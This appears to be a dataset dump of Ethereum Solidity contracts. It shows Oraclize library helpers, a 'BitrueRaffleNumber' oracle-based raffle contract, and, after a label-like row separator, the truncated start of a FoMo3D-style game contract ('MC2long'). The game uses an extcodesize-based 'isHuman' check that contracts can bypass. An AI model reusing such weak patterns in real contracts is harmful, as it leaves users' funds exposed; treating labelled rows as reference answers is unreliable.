dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract BitrueRaffleNumber is usingOraclize,owned {
event newRandomNumber_uint(uint random);
uint public maxRange;
uint numElements = 0;
uint[] public randomArr;
uint index = 1;
RandomStruct[] public randomStructs;
uint8 public pointer = 0;
struct RandomStruct {
uint year;
uint month;
uint day;
uint n1;
uint n2;
}
struct DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
constructor() {
oraclize_setProof(proofType_Ledger);
}
function __callback(bytes32 _queryId, string _result, bytes _proof)
{
require(msg.sender == oraclize_cbAddress());
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
} else {
if(index == 1){
maxRange = 10000;
}else{
maxRange = 20;
}
uint randomNumber = uint(sha3(_result)) % maxRange;
emit newRandomNumber_uint(randomNumber);
insert(randomNumber);
if(index == 2){
DateTime memory d = parseTimestamp(now);
uint y = d.year;
uint m = d.month;
uint da = d.day;
randomStructs.push(RandomStruct({year:y,month:m,day:da, n1:randomArr[0], n2:randomNumber}));
pointer++;
}
if(index == 1){
uint N = 4;
uint delay = 0;
uint callbackGas = 400000;
oraclize_newRandomDSQuery(delay, N, callbackGas);
}
index++;
}
}
function generateN() onlyOwner public payable{
require(!checkDateExsit(now));
clear();
uint N = 4;
uint delay = 0;
uint callbackGas = 400000;
oraclize_newRandomDSQuery(delay, N, callbackGas);
}
function checkDateExsit(uint time) private returns(bool isExist){
isExist = false;
DateTime memory d = parseTimestamp(time);
if(randomStructs.length > 0 && pointer >= 1){
if( d.year == randomStructs[pointer-1].year &&
d.month == randomStructs[pointer-1].month &&
d.day == randomStructs[pointer-1].day){
isExist = true;
}else{
isExist = false;
}
}
}
function insert(uint value) private{
if(numElements == randomArr.length) {
randomArr.length += 1;
}
randomArr[numElements++] = value;
}
function clear() private{
maxRange = 10000;
numElements = 0;
index = 1;
}
function isLeapYear(uint16 year) private constant returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function parseTimestamp(uint timestamp) internal returns (DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = ORIGIN_YEAR;
while (true) {
if (isLeapYear(dt.year)) {
buf = LEAP_YEAR_IN_SECONDS;
}
else {
buf = YEAR_IN_SECONDS;
}
if (secondsAccountedFor + buf > timestamp) {
break;
}
dt.year += 1;
secondsAccountedFor += buf;
}
uint8[12] monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(dt.year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
uint secondsInMonth;
for (i = 0; i < monthDayCounts.length; i++) {
secondsInMonth = DAY_IN_SECONDS * monthDayCounts[i];
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i + 1;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 0; i < monthDayCounts[dt.month - 1]; i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i + 1;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
for (i = 0; i < 24; i++) {
if (HOUR_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.hour = i;
break;
}
secondsAccountedFor += HOUR_IN_SECONDS;
}
for (i = 0; i < 60; i++) {
if (MINUTE_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.minute = i;
break;
}
secondsAccountedFor += MINUTE_IN_SECONDS;
}
if (timestamp - secondsAccountedFor > 60) {
__throw();
}
dt.second = uint8(timestamp - secondsAccountedFor);
buf = timestamp / DAY_IN_SECONDS;
dt.weekday = uint8((buf + 3) % 7);
}
function __throw() private view{
uint[] arst;
arst[1];
}
function() external payable {
}
} | 0 | 1,190 |
pragma solidity ^0.4.24;
contract MC2events {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 UPAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 UPAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 UPAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 UPAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is MC2events {}
contract MC2long is modularLong {
using SafeMath for *;
using NameFilter for string;
using MC2KeysCalcLong for uint256;
otherMC2 private otherMC2_;
DiviesInterface constant private Divies = DiviesInterface(0x33F43Dd20855979f617a983dDBcb4C1C0FA89B2e);
JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0x609e4bb4deE240485Fa546D2bEA2EfAE583E72aC);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xfEc91702792A45070AD7F4Bb07Ed678B863Bc722);
MC2SettingInterface constant private extSetting = MC2SettingInterface(0x8371c74F75274602Bdc4efaC209DA5B15E262E4e);
string constant public name = "MC2 COSMOS";
string constant public symbol = "MC2";
uint256 private rndExtra_ = extSetting.getLongExtra();
uint256 private rndGap_ = extSetting.getLongGap();
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 60 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => MC2datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => MC2datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => MC2datasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => MC2datasets.TeamFee) public fees_;
mapping (uint256 => MC2datasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = MC2datasets.TeamFee(30,6);
fees_[1] = MC2datasets.TeamFee(43,0);
fees_[2] = MC2datasets.TeamFee(56,10);
fees_[3] = MC2datasets.TeamFee(43,8);
potSplit_[0] = MC2datasets.PotSplit(15,10);
potSplit_[1] = MC2datasets.PotSplit(25,0);
potSplit_[2] = MC2datasets.PotSplit(20,20);
potSplit_[3] = MC2datasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
MC2datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
MC2datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
MC2datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
MC2datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
MC2datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
MC2datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
MC2datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
MC2datasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MC2events.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.UPAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit MC2events.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
